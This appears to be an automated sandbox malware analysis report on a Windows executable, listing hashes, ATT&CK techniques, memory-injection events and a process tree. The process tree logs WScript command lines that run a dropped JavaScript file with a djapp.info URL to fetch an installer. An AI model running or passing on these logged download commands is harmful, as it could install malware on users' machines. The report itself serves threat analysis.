61a8873462cce71e78510e1a1c363fc6520f9bd6ef74d89e6448773b774284d8

General

Target

b013ea9399e410559b7baefce64da51c_JaffaCakes118.exe
Size

184KB
MD5

b013ea9399e410559b7baefce64da51c
SHA1

21a6e6e7160992414c634e89e6dbd3d83c5529b9
SHA256

61a8873462cce71e78510e1a1c363fc6520f9bd6ef74d89e6448773b774284d8
SHA512

778aedee806f3461ff78a94759f4bb2eb835ba53e1439b2046bd4a15fc51a9a576c7f4906f02c991644ca95d67f96b6cb1fc13da2971d906e5d0e15048975ba5
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3K:/7BSH8zUB+nGESaaRvoB7FJNndnb

Score

7^/10

execution

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\Control Panel\International\Geo\Nation	b013ea9399e410559b7baefce64da51c_JaffaCakes118.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3608	4564	WerFault.exe	81

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings	b013ea9399e410559b7baefce64da51c_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 4564 wrote to memory of 3084	4564	b013ea9399e410559b7baefce64da51c_JaffaCakes118.exe	82
PID 4564 wrote to memory of 3084	4564	b013ea9399e410559b7baefce64da51c_JaffaCakes118.exe	82
PID 4564 wrote to memory of 3084	4564	b013ea9399e410559b7baefce64da51c_JaffaCakes118.exe	82
PID 4564 wrote to memory of 3604	4564	b013ea9399e410559b7baefce64da51c_JaffaCakes118.exe	88
PID 4564 wrote to memory of 3604	4564	b013ea9399e410559b7baefce64da51c_JaffaCakes118.exe	88
PID 4564 wrote to memory of 3604	4564	b013ea9399e410559b7baefce64da51c_JaffaCakes118.exe	88
PID 4564 wrote to memory of 2524	4564	b013ea9399e410559b7baefce64da51c_JaffaCakes118.exe	94
PID 4564 wrote to memory of 2524	4564	b013ea9399e410559b7baefce64da51c_JaffaCakes118.exe	94
PID 4564 wrote to memory of 2524	4564	b013ea9399e410559b7baefce64da51c_JaffaCakes118.exe	94
PID 4564 wrote to memory of 2944	4564	b013ea9399e410559b7baefce64da51c_JaffaCakes118.exe	95
PID 4564 wrote to memory of 2944	4564	b013ea9399e410559b7baefce64da51c_JaffaCakes118.exe	95
PID 4564 wrote to memory of 2944	4564	b013ea9399e410559b7baefce64da51c_JaffaCakes118.exe	95
PID 4564 wrote to memory of 3560	4564	b013ea9399e410559b7baefce64da51c_JaffaCakes118.exe	96
PID 4564 wrote to memory of 3560	4564	b013ea9399e410559b7baefce64da51c_JaffaCakes118.exe	96
PID 4564 wrote to memory of 3560	4564	b013ea9399e410559b7baefce64da51c_JaffaCakes118.exe	96

C:\Users\Admin\AppData\Local\Temp\b013ea9399e410559b7baefce64da51c_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\b013ea9399e410559b7baefce64da51c_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4564
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf62D1.js" http://www.djapp.info/?domain=xmakVfVACv.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuVwucrPYE19JkwWjSZ2s2qvmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4eNq6LaFY79XZ6m0stLMqjuzx-uhliieAKdKyysjy6-7bTV8zh C:\Users\Admin\AppData\Local\Temp\fuf62D1.exe
  2⤵
  PID:3084
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf62D1.js" http://www.djapp.info/?domain=xmakVfVACv.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuVwucrPYE19JkwWjSZ2s2qvmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4eNq6LaFY79XZ6m0stLMqjuzx-uhliieAKdKyysjy6-7bTV8zh C:\Users\Admin\AppData\Local\Temp\fuf62D1.exe
  2⤵
  PID:3604
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf62D1.js" http://www.djapp.info/?domain=xmakVfVACv.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuVwucrPYE19JkwWjSZ2s2qvmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4eNq6LaFY79XZ6m0stLMqjuzx-uhliieAKdKyysjy6-7bTV8zh C:\Users\Admin\AppData\Local\Temp\fuf62D1.exe
  2⤵
  PID:2524
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf62D1.js" http://www.djapp.info/?domain=xmakVfVACv.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuVwucrPYE19JkwWjSZ2s2qvmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4eNq6LaFY79XZ6m0stLMqjuzx-uhliieAKdKyysjy6-7bTV8zh C:\Users\Admin\AppData\Local\Temp\fuf62D1.exe
  2⤵
  PID:2944
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf62D1.js" http://www.djapp.info/?domain=xmakVfVACv.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuVwucrPYE19JkwWjSZ2s2qvmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4eNq6LaFY79XZ6m0stLMqjuzx-uhliieAKdKyysjy6-7bTV8zh C:\Users\Admin\AppData\Local\Temp\fuf62D1.exe
  2⤵
  PID:3560
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 4564 -s 1548
  2⤵
  - Program crash
  PID:3608

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4564 -ip 4564
1⤵
PID:2028

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

JavaScript

1

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fuf62D1.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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Analysis

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